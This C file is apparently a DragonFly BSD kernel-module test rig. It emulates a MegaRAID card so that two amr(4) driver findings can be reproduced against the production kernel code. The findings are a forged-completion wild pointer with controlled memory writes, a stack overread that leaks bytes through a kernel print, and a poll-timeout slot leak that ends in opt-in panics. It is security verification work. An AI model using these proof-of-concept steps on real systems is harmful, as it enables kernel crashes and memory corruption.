/*
 * dfamr_rig.c -- production-handler dispatch rig for the DragonFly amr(4)
 * (LSI MegaRAID) driver core, used to verify findings DF-4059 and DF-4060
 * against sys/dev/raid/amr/amr.c.
 *
 * The amr driver is compiled into the guest's X86_64_GENERIC kernel
 * (nm /boot/kernel/kernel shows amr_done, amr_alloccmd, amr_releasecmd,
 * amr_startio as globals and amr_start, amr_std_get_work,
 * amr_std_poll_command, amr_std_submit_command, amr_complete, and
 * amr_quartz_get_work as locals), but this QEMU guest has no MegaRAID HBA,
 * so amr_pci_attach() never runs.  This rig stands in ONLY for the missing
 * PCI hardware, exactly like the proven DF-4240 (dpt) rig:
 *
 *   - resolves the REAL static production handlers from the running
 *     kernel image (no KASLR: file vaddr == runtime vaddr); the ctl
 *     program byte-verifies their prologues against objdump before use;
 *     globals (amr_done, amr_alloccmd, amr_releasecmd) link directly;
 *   - fabricates a post-amr_pci_attach softc with REAL bus_dma tags,
 *     REAL bus_dmamem for the mailbox64 / sg table / ccb array (the exact
 *     allocations of amr_setup_mbox / amr_sglist_map / amr_ccb_map,
 *     amr_pci.c:617-703) and REAL lockinit of amr_list_lock/amr_hw_lock
 *     (amr_pci.c:324-325);
 *   - builds the command clusters with a verbatim copy of
 *     amr_alloccmd_cluster (amr.c:1922-1979; gcc 8.3 -O2 inlined that
 *     symbol into amr_attach so it cannot be dispatched by address) and
 *     registers real busy slots through the PRODUCTION amr_start;
 *   - plays the role of the card: a "register file" page is mapped via
 *     X86_64_BUS_SPACE_MEM so AMR_SGET_ISTAT/AMR_SPOST_COMMAND etc. are
 *     plain volatile memory accesses, completions are written into the
 *     real DMA mailbox exactly as firmware would, and the card-side
 *     semantic "deassert the interrupt line once the driver took the
 *     mailbox" -- which a plain memory file cannot express by itself --
 *     is modeled by the rig_get_work() wrapper around the PRODUCTION
 *     amr_std_get_work.
 *
 * Everything on the vulnerable paths -- amr_done (with the inlined
 * amr_freeslot), amr_start, amr_std_poll_command, amr_std_get_work,
 * amr_std_submit_command, amr_complete, amr_alloccmd, amr_releasecmd,
 * amr_startio -- is production code executing from the shipped kernel
 * image.
 *
 * Findings exercised:
 *   DF-4059  completion id 0 -> idx = -1 -> amr_busycmd[-1] (the softc
 *            field before the array, always &amr_ready.stqh_first after
 *            production amr_attach) is treated as an amr_command* and
 *            driven through amr_freeslot -> wild kernel pointer deref;
 *            and on std firmware mb_nstatus (8-bit, controller-chosen)
 *            iterates mb_completed[46] out to 255 entries -- a stack
 *            overread past the 82-byte local mailbox whose bytes are
 *            disclosed through the "bad slot %d completed" print.
 *   DF-4060  amr_std_poll_command timeout leaves the slot permanently
 *            busy (busycmd/busyslots/BUSY) while every caller
 *            unconditionally amr_releasecmd()s the command -> next
 *            amr_start panics ("amr: slot %d busy?"), a late completion
 *            completes the recycled command, and amr_rescan_drives
 *            (amr.c:460-463) spins forever on the poisoned counter.
 *
 * Root-only device /dev/dfamr0.  Panic finales are opt-in flags.
 */
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/conf.h>
#include <sys/malloc.h>
#include <sys/lock.h>
#include <sys/sysctl.h>
#include <sys/proc.h>
#include <sys/thread.h>
#include <sys/bus.h>
#include <sys/rman.h>
#include <sys/types.h>
#include <sys/ioccom.h>
/* offsetof comes via sys/param.h + sys/systm.h */
#include <sys/bus_private.h>	/* struct bsd_device (name/unit print path) */
#include <machine/bus_dma.h>	/* X86_64_BUS_SPACE_MEM */

#include <dev/raid/amr/amrio.h>
#include <dev/raid/amr/amrreg.h>
#include <dev/raid/amr/amrvar.h>

/* amr.c's MALLOC_DEFINE(M_AMR,...) object, resolved from the kernel */
MALLOC_DECLARE(M_AMR);

/* ------------------------------------------------------------------ */
/* Production handler addresses, primed from userland (no KASLR).     */
/* ------------------------------------------------------------------ */
static unsigned long a_amr_start, a_amr_std_poll_command,
    a_amr_std_get_work, a_amr_std_submit_command;

SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstart, CTLFLAG_RW,
    &a_amr_start, 0, "runtime addr of production amr_start");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdpoll, CTLFLAG_RW,
    &a_amr_std_poll_command, 0, "runtime addr of production amr_std_poll_command");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdgetwork, CTLFLAG_RW,
    &a_amr_std_get_work, 0, "runtime addr of production amr_std_get_work");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_a_amrstdsubmit, CTLFLAG_RW,
    &a_amr_std_submit_command, 0, "runtime addr of production amr_std_submit_command");

/* first 8 bytes at each production address (ctl verifies vs objdump) */
static uint64_t m_amr_start, m_amr_std_poll_command, m_amr_std_get_work,
    m_amr_std_submit_command;
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstart, CTLFLAG_RD, &m_amr_start, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdpoll, CTLFLAG_RD,
    &m_amr_std_poll_command, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdgetwork, CTLFLAG_RD,
    &m_amr_std_get_work, 0, "");
SYSCTL_ULONG(_kern, OID_AUTO, dfamr_m_amrstdsubmit, CTLFLAG_RD,
    &m_amr_std_submit_command, 0, "");

typedef int (*amr_start_fn)(struct amr_command *);
typedef int (*amr_std_poll_fn)(struct amr_command *);

/* globals linked straight from the kernel image (amrvar.h:272-282):
 * amr_done, amr_alloccmd, amr_releasecmd, amr_startio */

/* ------------------------------------------------------------------ */
/* Virtual HBA: register file + card-model get_work wrapper            */
/* ------------------------------------------------------------------ */
#define RIG_PAD		65536	/* guard runway after each softc */

static volatile uint8_t *regpage;	/* virtual HBA register file */
static volatile u_int vhba_ack_seen;	/* completions handed to production */

/*
 * Card model wrapper around the PRODUCTION amr_std_get_work: real
 * hardware deasserts the interrupt line when the driver acknowledges
 * and takes the completion mailbox (AMR_SPUT_ISTAT / AMR_SACK_INTERRUPT
 * inside production amr_std_get_work); a plain memory "register file"
 * cannot react to those writes by itself, so the wrapper performs the
 * deassertion and instantly consumes any doorbell byte.  Everything
 * else -- the istat poll, the mailbox bcopy, the acknowledgement
 * writes -- is production amr_std_get_work called through sc->amr_get_work
 * from production amr_done.
 */
static int
rig_get_work(struct amr_softc *sc, struct amr_mailbox *mbsave)
{
	int (*prod)(struct amr_softc *, struct amr_mailbox *) =
	    (int (*)(struct amr_softc *, struct amr_mailbox *))
	        (uintptr_t)a_amr_std_get_work;
	int r = prod(sc, mbsave);

	regpage[AMR_SCMD] = 0;		/* doorbell consumed instantly */
	if (r) {
		regpage[AMR_SINTR] = 0;	/* card drops the interrupt line */
		vhba_ack_seen++;
	}
	return (r);
}

/* the card consumes a posted command synchronously: drop the busy flag
 * (read side of the SCMD register) so a following submit does not see
 * the spurious EBUSY that would requeue the command onto amr_ready */
static void
rig_consume_post(void)
{
	regpage[AMR_SCMD] = 0;
}

/* ------------------------------------------------------------------ */
/* Fabricated device (device_printf name/unit path only)              */
/* ------------------------------------------------------------------ */
static driver_t rig_fake_driver = { "amrrig" };
static struct bsd_device rig_fake_dev;

/* ------------------------------------------------------------------ */
/* Softc fabrication                                                  */
/* ------------------------------------------------------------------ */
static void
rig_busaddr_helper(void *arg, bus_dma_segment_t *segs, int nseg, int error)
{
	uint32_t *addr = arg;

	if (error == 0)
		*addr = segs[0].ds_addr;
}

/*
 * Verbatim copy of amr_alloccmd_cluster, amr.c:1922-1979 (the symbol was
 * inlined into amr_attach by gcc 8.3 -O2 and cannot be dispatched by
 * address).  Output is the production data structure.
 */
static void
rig_alloccmd_cluster(struct amr_softc *sc)
{
    struct amr_command_cluster	*acc;
    struct amr_command		*ac;
    int				i, nextslot;

    if (sc->amr_maxio == 0)
	sc->amr_maxio = 2;

    if (sc->amr_nextslot > sc->amr_maxio)
	return;
    acc = kmalloc(AMR_CMD_CLUSTERSIZE, M_AMR, M_NOWAIT | M_ZERO);
    if (acc != NULL) {
	nextslot = sc->amr_nextslot;
	lockmgr(&sc->amr_list_lock, LK_EXCLUSIVE);
	TAILQ_INSERT_TAIL(&sc->amr_cmd_clusters, acc, acc_link);
	lockmgr(&sc->amr_list_lock, LK_RELEASE);
	for (i = 0; i < AMR_CMD_CLUSTERCOUNT; i++) {
	    ac = &acc->acc_command[i];
	    ac->ac_sc = sc;
	    ac->ac_slot = nextslot;

	    if (AMR_IS_SG64(sc)) {
		ac->ac_sgbusaddr = sc->amr_sgbusaddr +
		    (ac->ac_slot * AMR_NSEG * sizeof(struct amr_sg64entry));
	        ac->ac_sg.sg64 = sc->amr_sg64table + (ac->ac_slot * AMR_NSEG);
	    } else {
		ac->ac_sgbusaddr = sc->amr_sgbusaddr +
		    (ac->ac_slot * AMR_NSEG * sizeof(struct amr_sgentry));
	        ac->ac_sg.sg32 = sc->amr_sgtable + (ac->ac_slot * AMR_NSEG);
	    }

	    ac->ac_ccb = sc->amr_ccb + ac->ac_slot;
	    ac->ac_ccb_busaddr = sc->amr_ccb_busaddr +
		(ac->ac_slot * sizeof(union amr_ccb));

	    if (bus_dmamap_create(sc->amr_buffer_dmat, 0, &ac->ac_dmamap))
		break;
	    if (AMR_IS_SG64(sc) &&
		(bus_dmamap_create(sc->amr_buffer64_dmat, 0,&ac->ac_dma64map)))
		break;
	    amr_releasecmd(ac);
	    if (++nextslot > sc->amr_maxio)
		break;
	}
	sc->amr_nextslot = nextslot;
    }
}

/*
 * Fabricate the post-amr_pci_attach state of a std-firmware controller
 * (real DMA plumbing, production queue init, production handler trio)
 * exactly as amr_pci_attach:243-346 + amr_attach:196-216 would leave it.
 */
static struct amr_softc *
rig_new_softc(int with_cluster)
{
	struct amr_softc *sc;
	uint8_t *buf;
	void *p;
	uint32_t baddr;
	size_t segsize;
	int ccbsize, error;

	buf = kmalloc(sizeof(struct amr_softc) + RIG_PAD, M_DEVBUF,
	    M_INTWAIT | M_ZERO);
	sc = (struct amr_softc *)buf;
	sc->amr_dev = &rig_fake_dev;

	lockinit(&sc->amr_list_lock, "amrrig list", 0, LK_CANRECURSE);
	lockinit(&sc->amr_hw_lock, "amrrig hw", 0, LK_CANRECURSE);

	/* parent tag -- amr_pci.c:278-290 */
	error = bus_dma_tag_create(NULL, 1, 0, BUS_SPACE_MAXADDR_32BIT,
	    BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG, BUS_SPACE_MAXSIZE_32BIT, 0,
	    &sc->amr_parent_dmat);
	if (error)
		goto fail;
	/* buffer tags -- amr_pci.c:295-317 */
	if (bus_dma_tag_create(sc->amr_parent_dmat, 1, 0,
	    BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG,
	    MAXBSIZE, 0, &sc->amr_buffer_dmat))
		goto fail;
	if (bus_dma_tag_create(sc->amr_parent_dmat, 1, 0, BUS_SPACE_MAXADDR,
	    BUS_SPACE_MAXADDR, MAXBSIZE, AMR_NSEG, MAXBSIZE, 0,
	    &sc->amr_buffer64_dmat))
		goto fail;

	/* mailbox -- verbatim shape of amr_setup_mbox, amr_pci.c:617-666 */
	if (bus_dma_tag_create(sc->amr_parent_dmat, 16, 0,
	    BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR,
	    sizeof(struct amr_mailbox64), 1, BUS_SPACE_MAXSIZE_32BIT, 0,
	    &sc->amr_mailbox_dmat))
		goto fail;
	error = bus_dmamem_alloc(sc->amr_mailbox_dmat, &p, BUS_DMA_NOWAIT,
	    &sc->amr_mailbox_dmamap);
	if (error)
		goto fail;
	baddr = 0;
	bus_dmamap_load(sc->amr_mailbox_dmat, sc->amr_mailbox_dmamap, p,
	    sizeof(struct amr_mailbox64), rig_busaddr_helper, &baddr, 0);
	sc->amr_mailboxphys = baddr + offsetof(struct amr_mailbox64, mb);
	bzero(p, sizeof(struct amr_mailbox64));
	sc->amr_mailbox64 = (struct amr_mailbox64 *)p;
	sc->amr_mailbox = &sc->amr_mailbox64->mb;

	/* s/g table -- verbatim shape of amr_sglist_map, amr_pci.c:543-610 */
	segsize = sizeof(struct amr_sgentry) * AMR_NSEG * AMR_MAXCMD;
	if (bus_dma_tag_create(sc->amr_parent_dmat, 512, 0,
	    BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, segsize, 1,
	    BUS_SPACE_MAXSIZE_32BIT, 0, &sc->amr_sg_dmat))
		goto fail;
	error = bus_dmamem_alloc(sc->amr_sg_dmat, &p, BUS_DMA_NOWAIT,
	    &sc->amr_sg_dmamap);
	if (error)
		goto fail;
	sc->amr_sgbusaddr = 0;
	bus_dmamap_load(sc->amr_sg_dmat, sc->amr_sg_dmamap, p, segsize,
	    rig_busaddr_helper, &sc->amr_sgbusaddr, 0);
	sc->amr_sgtable = (struct amr_sgentry *)p;

	/* ccb array -- verbatim shape of amr_ccb_map, amr_pci.c:668-703 */
	ccbsize = sizeof(union amr_ccb) * AMR_MAXCMD;
	if (bus_dma_tag_create(sc->amr_parent_dmat, 128, 0,
	    BUS_SPACE_MAXADDR_32BIT, BUS_SPACE_MAXADDR, ccbsize, 1, ccbsize, 0,
	    &sc->amr_ccb_dmat))
		goto fail;
	error = bus_dmamem_alloc(sc->amr_ccb_dmat, (void **)&sc->amr_ccb,
	    BUS_DMA_NOWAIT, &sc->amr_ccb_dmamap);
	if (error)
		goto fail;
	sc->amr_ccb_busaddr = 0;
	bus_dmamap_load(sc->amr_ccb_dmat, sc->amr_ccb_dmamap, sc->amr_ccb,
	    ccbsize, rig_busaddr_helper, &sc->amr_ccb_busaddr, 0);
	bzero(sc->amr_ccb, ccbsize);

	/* virtual register file: std I/O regs via memory bus space */
	sc->amr_btag = (bus_space_tag_t)(uintptr_t)X86_64_BUS_SPACE_MEM;
	sc->amr_bhandle = (bus_space_handle_t)(uintptr_t)regpage;
	regpage[AMR_SMBOX_BUSY] = 0;	/* card idle */
	regpage[AMR_SINTR] = 0;		/* no interrupt pending */

	/* queue init -- production amr_attach, amr.c:196-199 */
	amr_init_qhead(&sc->amr_freecmds);
	amr_init_qhead(&sc->amr_ready);
	TAILQ_INIT(&sc->amr_cmd_clusters);
	bioq_init(&sc->amr_bioq);

	/* std-firmware handler trio -- production amr_attach, amr.c:212-214 */
	sc->amr_submit_command =
	    (int (*)(struct amr_command *))(uintptr_t)a_amr_std_submit_command;
	sc->amr_get_work = rig_get_work;	/* production amr_std_get_work
						 * + card-side line drop */
	sc->amr_poll_command =
	    (int (*)(struct amr_command *))(uintptr_t)a_amr_std_poll_command;

	if (with_cluster) {
		sc->amr_maxio = 0;
		rig_alloccmd_cluster(sc);	/* verbatim amr.c:1922-1979 */
		sc->amr_maxio = AMR_LIMITCMD;	/* amr.c:1005 cap */
	}
	return (sc);
fail:
	kprintf("[amrrig] softc setup failed (%d)\n", error);
	return (NULL);
}

/* card writes a completion list into the DMA mailbox and raises SINTR */
static void
rig_raise_completion(struct amr_softc *sc, uint8_t nstatus,
    const uint8_t *ids, uint8_t status)
{
	volatile struct amr_mailbox *mb = sc->amr_mailbox;
	int i;

	mb->mb_nstatus = nstatus;
	mb->mb_status = status;
	for (i = 0; i < nstatus && i < 46; i++)
		mb->mb_completed[i] = ids[i];
	regpage[AMR_SINTR] = AMR_SINTR_VALID;
}

/* ------------------------------------------------------------------ */
/* ioctl plumbing                                                     */
/* ------------------------------------------------------------------ */
struct rig_offs_args {
	uint64_t off_busycmd, off_busyslots, off_ready;
	uint64_t off_ac_sc, off_ac_slot, off_ac_status, off_ac_flags,
	    off_ac_complete;
	uint64_t sizeof_softc, sizeof_command, sizeof_mailbox;
	uint64_t busykm1_value;		/* *(softc+off_busycmd-8) after INIT */
	uint64_t ready_stqh_last;	/* &sc->amr_ready.stqh_first */
	uint32_t mchecked;
};

struct rig_4059b_args {
	uint32_t primed;
	uint32_t retry_hint;		/* 1 = heap target collided, re-invoke */
	uint32_t slot_byte;		/* heap low byte production reads */
	uint64_t ac0, ac1;
	uint64_t write_off;		/* offset of the NULL store in cluster */
	uint64_t write_before, write_after;
	uint64_t decr_off;		/* offset of the busyslots decrement */
	uint32_t decr_before, decr_after;
	uint32_t busycmd1_byte4_after;	/* ac_status store landed here */
	uint32_t ndiff;
	struct { uint64_t off, before, after; } diff[8];
	uint32_t busyslots_real_after;
};

struct rig_4059leak_args {
	uint32_t depth;
	uint32_t zero_bytes;	/* stack bytes == 0 (idx -1 passes) */
	uint32_t one_bytes;	/* stack bytes == 1 (idx 0 passes) */
	uint32_t ack_seen;
	uint32_t primed;
};

struct rig_4059a_args {
	uint32_t primed;
	uint32_t not_reached;
};

struct rig_4060tmo_args {
	uint32_t do_start_finale;
	int32_t poll_err;
	uint32_t poll_ticks;
	uint32_t busy_flag_still_set;
	uint32_t busycmd_holds_ac;
	uint32_t busyslots_after;
	uint32_t freelist_head_is_ac;
	uint32_t busyslots_after_100_done;
	uint32_t recycled_same_cmd;
	uint32_t primed;
	uint32_t not_reached;
	int32_t start_err;
};

struct rig_4060late_args {
	int32_t poll_err;
	uint32_t busy_before, busy_after;
	uint32_t status_before, status_after;
	uint32_t still_on_freelist;
	uint32_t busyslots_after;
	uint32_t primed;
};

#define RIGIOC_OFFS	_IOWR('M', 1, struct rig_offs_args)
#define RIGIOC_4059B	_IOWR('M', 2, struct rig_4059b_args)
#define RIGIOC_4059LEAK	_IOWR('M', 3, struct rig_4059leak_args)
#define RIGIOC_4059A	_IOWR('M', 4, struct rig_4059a_args)
#define RIGIOC_4060TMO	_IOWR('M', 5, struct rig_4060tmo_args)
#define RIGIOC_4060LATE	_IOWR('M', 6, struct rig_4060late_args)

static d_open_t rig_open;
static d_close_t rig_close;
static d_ioctl_t rig_ioctl;

static struct dev_ops rig_ops = {
	{ "dfamr", 0, D_MPSAFE, NULL, 0, 0 },
	.d_open =	rig_open,
	.d_close =	rig_close,
	.d_ioctl =	rig_ioctl,
};

static cdev_t rig_cdev;
static struct lock rig_lock;
static uint8_t *cluster_snap;

static int
rig_open(struct dev_open_args *ap)
{
	return (0);
}

static int
rig_close(struct dev_close_args *ap)
{
	return (0);
}

static int
rig_primed(void)
{
	return (a_amr_start != 0 && a_amr_std_poll_command != 0 &&
	    a_amr_std_get_work != 0 && a_amr_std_submit_command != 0);
}

/* mirror the prologue bytes at the primed addresses (ctl verifies them
 * against objdump of /boot/kernel/kernel; no KASLR) */
static void
rig_mirror(void)
{
	static int mirrored;

	if (!mirrored && rig_primed()) {
		m_amr_start = *(uint64_t *)(uintptr_t)a_amr_start;
		m_amr_std_poll_command =
		    *(uint64_t *)(uintptr_t)a_amr_std_poll_command;
		m_amr_std_get_work =
		    *(uint64_t *)(uintptr_t)a_amr_std_get_work;
		m_amr_std_submit_command =
		    *(uint64_t *)(uintptr_t)a_amr_std_submit_command;
		mirrored = 1;
	}
}

/* vary the caller stack for the leak liveness proof */
static volatile uint32_t rig_sink;
static struct amr_softc *nest_sc;
static int __attribute__((noinline)) rig_nest0(void)
{
	char pad[64];
	int i;

	memset(pad, 0x5a, sizeof(pad));
	for (i = 0; i < (int)sizeof(pad); i += 16)
		rig_sink += pad[i];
	return (amr_done(nest_sc));
}
static int __attribute__((noinline)) rig_nest(int level)
{
	char pad[96];
	int i;

	memset(pad, 0xa5, sizeof(pad));
	for (i = 0; i < (int)sizeof(pad); i += 16)
		rig_sink += pad[i];
	if (level <= 0)
		return (rig_nest0());
	return (rig_nest(level - 1));
}

/*
 * DF-4059 case B: completion id 0 on a controller with a real busy
 * slot 0, built with the production amr_start over a production command
 * cluster.  Production alias math (all offsets measured at runtime):
 *
 *   idx = -1  ->  ac = amr_busycmd[-1] = amr_ready.stqh_last's value
 *                 = &sc->amr_ready.stqh_first  (always non-NULL after
 *                 production amr_attach's amr_init_qhead)
 *   ac->ac_sc (offset 8)  reads amr_ready.stqh_last again -> sc2 is a
 *                 pointer into the softc interior at &amr_ready
 *   ac->ac_slot (offset 16) reads the low byte of amr_busycmd[0] -- the
 *                 heap address of the REAL slot-0 command (groomable)
 *   amr_freeslot then treats sc2 as a softc:
 *      sc2->amr_busycmd[slot] read + NULL store  (in-softc or, for
 *          slot >= 63, past the array into arbitrary softc fields)
 *      sc2->amr_busyslots atomic decrement  at &amr_ready+3592 -- 1208
 *          bytes PAST the end of the 3920-byte softc (guard runway)
 *   ac->ac_status store lands on byte 4 of amr_busycmd[0], corrupting
 *      the slot-0 command pointer inside the softc.
 *
 * The rig only pre-poisons the qword production will test/clear so the
 * production "slot not busy?" panic guard does not fire before the
 * writes are demonstrated.
 */
static void
rig_run_4059b(struct rig_4059b_args *a)
{
	struct amr_softc *sc;
	struct amr_command *ac0, *ac1;
	uint8_t *sc2;			/* the forged ac / fake softc base */
	uint64_t *target;
	uint32_t *decr;
	uint64_t off_busy, off_bslots, off_asc, off_aslot, off_astat;
	uint8_t *cluster;
	int i, nd;
	uint8_t ids[8] = { 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0 };
	amr_start_fn startfn = (amr_start_fn)(uintptr_t)a_amr_start;

	sc = rig_new_softc(1);
	if (sc == NULL)
		return;

	/* production slot registration: slot 0 and 1 busy */
	ac0 = amr_alloccmd(sc);
	ac0->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT;
	ac0->ac_mailbox.mb_command = AMR_CMD_FLUSH;
	startfn(ac0);			/* busycmd[2] = ac0, busyslots = 1 */
	rig_consume_post();
	ac1 = amr_alloccmd(sc);
	ac1->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT;
	ac1->ac_mailbox.mb_command = AMR_CMD_FLUSH;
	startfn(ac1);			/* busycmd[1] = ac1, busyslots = 2 */
	rig_consume_post();

	off_busy = offsetof(struct amr_softc, amr_busycmd);
	off_bslots = offsetof(struct amr_softc, amr_busyslots);
	off_asc = offsetof(struct amr_command, ac_sc);
	off_aslot = offsetof(struct amr_command, ac_slot);
	off_astat = offsetof(struct amr_command, ac_status);

	/* the forged amr_command* production reads from amr_busycmd[-1] */
	sc2 = *(uint8_t **)((uint8_t *)sc + off_busy - 8);
	a->ac0 = (uintptr_t)ac0;
	a->ac1 = (uintptr_t)ac1;
	a->slot_byte = *(uint8_t *)(sc2 + off_aslot); /* low byte of ac0 */
	a->write_off = (uintptr_t)(sc2 + off_busy + 8 * a->slot_byte) -
	    (uintptr_t)sc;
	a->decr_off = (uintptr_t)(sc2 + off_bslots) - (uintptr_t)sc;

	/*
	 * The heap-address-derived target must not collide with a field the
	 * post-amr_done path walks (amr_freecmds via amr_startio); the
	 * softc is disposable, so retry with a fresh cluster instead.
	 */
	{
		uint64_t off_free = offsetof(struct amr_softc, amr_freecmds);
		if (a->write_off >= off_free && a->write_off < off_free + 8) {
			kprintf("[amrrig] DF-4059B: slot byte %u targets "
			    "amr_freecmds (softc+%llu); retrying\n",
			    a->slot_byte, (unsigned long long)a->write_off);
			a->retry_hint = 1;
			return;		/* ctl re-invokes */
		}
	}

	cluster = (uint8_t *)TAILQ_FIRST(&sc->amr_cmd_clusters);
	target = (uint64_t *)(sc2 + off_busy + 8 * a->slot_byte);
	decr = (uint32_t *)(sc2 + off_bslots);
	if (*target == 0)
		*target = 0x0000133700001337ULL;	/* survive the NULL check */
	*decr = 0x00004000;
	a->write_before = *target;
	a->decr_before = *decr;
	memcpy(cluster_snap, cluster, AMR_CMD_CLUSTERSIZE);

	kprintf("[amrrig] DF-4059B: cluster=%p ac0=cluster+%lld; forged "
	    "ac=busycmd[-1]=%p; ac->ac_sc=%p (softc+%lld); slot=ac_slot="
	    "low(ac0)=%u; NULL store @softc+%llu; decr @softc+%llu "
	    "(softc size %llu)\n",
	    (void *)cluster, (long long)((uint8_t *)ac0 - cluster),
	    (void *)sc2, (void *)*(uint8_t **)(sc2 + off_asc),
	    (long long)(*(uint8_t **)(sc2 + off_asc) - (uint8_t *)sc),
	    a->slot_byte, (unsigned long long)a->write_off,
	    (unsigned long long)a->decr_off,
	    (unsigned long long)sizeof(struct amr_softc));

	/* the card completes seven bogus ids (slow prints widen the vhba
	 * ack window) and then id 0 -- never allocated: ident = slot + 1 */
	rig_raise_completion(sc, 8, ids, 0x5a);
	amr_done(sc);			/* PRODUCTION */

	a->write_after = *target;
	a->decr_after = *decr;
	/* the ac_status store lands at sc2+off_ac_status = byte 4 of
	 * amr_busycmd[0] -- corrupting the slot-0 command pointer */
	a->busycmd1_byte4_after =
	    (uint32_t)((*(uint64_t *)((uint8_t *)sc + off_busy)) >> 32) & 0xff;
	a->busyslots_real_after = (uint32_t)sc->amr_busyslots;

	/* diff the whole 16 KB production cluster */
	nd = 0;
	for (i = 0; i < AMR_CMD_CLUSTERSIZE && nd < 8; i += 8) {
		uint64_t b, f;
		memcpy(&b, cluster_snap + i, 8);
		memcpy(&f, cluster + i, 8);
		if (b != f) {
			a->diff[nd].off = i;
			a->diff[nd].before = b;
			a->diff[nd].after = f;
			nd++;
		}
	}
	a->ndiff = nd;
}

/*
 * DF-4059 stack overread: std firmware mailbox with mb_nstatus = 255.
 * The loop reads mb_completed[46..254] -- 209 bytes past the 82-byte
 * local mailbox in amr_done's frame -- and each byte indexes
 * amr_busycmd, with NULL hits disclosed through the
 * "bad slot %d completed" device_printf (idx = byte - 1).
 *
 * Rig note: amr_ready is deliberately left in its zeroed state (not
 * STAILQ_INITed) for this scenario so that a disclosed byte of 0 takes
 * the "bad slot -1" print instead of the amr_busycmd[-1] wild-pointer
 * path; that wild path is demonstrated production-faithfully in the
 * 4059A (idle controller, Fatal trap 12) and 4059B (busy slots,
 * controlled cluster writes) scenarios.  The overread loop itself is
 * untouched production code.
 */
static void
rig_run_4059leak(struct rig_4059leak_args *a)
{
	struct amr_softc *sc;
	uint8_t ids[46];
	int i;

	sc = rig_new_softc(0);
	if (sc == NULL)
		return;

	/* keep every busycmd slot idle: every disclosed byte prints */
	sc->amr_ready.stqh_first = NULL;
	sc->amr_ready.stqh_last = NULL;
	memset(sc->amr_busycmd, 0, sizeof(sc->amr_busycmd));

	for (i = 0; i < 46; i++)
		ids[i] = 0x80 + i;	/* -> "bad slot 127..172" */

	kprintf("[amrrig] LEAK-RUN-DEPTH-%u BEGIN\n", a->depth);
	rig_raise_completion(sc, 255, ids, 0x5a);
	nest_sc = sc;
	rig_nest(a->depth);		/* PRODUCTION amr_done via varying stack */
	kprintf("[amrrig] LEAK-RUN-DEPTH-%u END\n", a->depth);

	a->zero_bytes = 0;
	a->one_bytes = 0;
	a->ack_seen = vhba_ack_seen;
}

/*
 * DF-4059 case A (panic finale): idle controller (all busycmd NULL),
 * production amr_ready init, completion id 0.  The forged
 * ac = &amr_ready.stqh_first has ac->ac_sc = busycmd[0] = NULL, so
 * amr_freeslot dereferences NULL + off_busycmd -> fatal trap 12.
 */
static void
rig_run_4059a(struct rig_4059a_args *a)
{
	struct amr_softc *sc;
	uint8_t id0 = 0;

	sc = rig_new_softc(0);
	if (sc == NULL)
		return;

	kprintf("[amrrig] DF-4059A: idle controller, completion id 0 -> "
	    "amr_freeslot derefs busycmd[0]=NULL as softc\n");
	rig_raise_completion(sc, 1, &id0, 0x5a);
	amr_done(sc);			/* PRODUCTION -> Fatal trap 12 */
	a->not_reached = 1;
}

/*
 * DF-4060: production amr_std_poll_command over a stalled card (no
 * completion ever arrives).  After the timeout the caller (amr_enquiry
 * amr.c:1058-1061, amr_flush amr.c:1097-1100, amr_support_ext_cdb
 * amr.c:1140-1143, amr_dump_blocks amr.c:2380-2382 all release
 * unconditionally) pushes the still-busy command back on the free list.
 */
static void
rig_run_4060tmo(struct rig_4060tmo_args *a)
{
	struct amr_softc *sc;
	struct amr_command *ac, *ac2;
	int error, i;
	amr_std_poll_fn pollfn = (amr_std_poll_fn)(uintptr_t)a_amr_std_poll_command;
	amr_start_fn startfn = (amr_start_fn)(uintptr_t)a_amr_start;

	sc = rig_new_softc(1);
	if (sc == NULL)
		return;

	ac = amr_alloccmd(sc);
	ac->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT;	/* amr_flush:1086 */
	ac->ac_mailbox.mb_command = AMR_CMD_FLUSH;		/* amr_flush:1089 */

	regpage[AMR_SINTR] = 0;		/* the card is stalled: no interrupts */
	a->poll_ticks = ticks;
	error = pollfn(ac);		/* PRODUCTION amr_std_poll_command */
	a->poll_ticks = ticks - a->poll_ticks;
	a->poll_err = error;

	kprintf("[amrrig] DF-4060: poll ret=%d in %u ticks\n", error,
	    a->poll_ticks);
	a->busy_flag_still_set = !!(ac->ac_flags & AMR_CMD_BUSY);
	a->busycmd_holds_ac = (sc->amr_busycmd[ac->ac_slot] == ac);
	a->busyslots_after = (uint32_t)sc->amr_busyslots;

	/* every caller releases unconditionally, even on error */
	amr_releasecmd(ac);		/* PRODUCTION */
	a->freelist_head_is_ac = (STAILQ_FIRST(&sc->amr_freecmds) == ac);

	/* amr_rescan_drives livelock precondition, amr.c:460-463 */
	for (i = 0; i < 100; i++)
		amr_done(sc);		/* PRODUCTION */
	a->busyslots_after_100_done = (uint32_t)sc->amr_busyslots;

	/* the next allocation hands the still-busy command back out */
	ac2 = amr_alloccmd(sc);		/* PRODUCTION */
	a->recycled_same_cmd = (ac2 == ac);

	if (a->do_start_finale) {
		kprintf("[amrrig] DF-4060 FINALE: production amr_start on "
		    "the recycled command (slot %u still busy)\n", ac2->ac_slot);
		ac2->ac_flags |= AMR_CMD_PRIORITY | AMR_CMD_DATAOUT;
		ac2->ac_mailbox.mb_command = AMR_CMD_FLUSH;
		rig_consume_post();		/* card takes it (never answers) */
		a->start_err = startfn(ac2);	/* PRODUCTION -> panic */
		a->not_reached = 1;
		kprintf("[amrrig] DF-4060 FINALE returned?! err=%d\n",
		    a->start_err);
	}
}

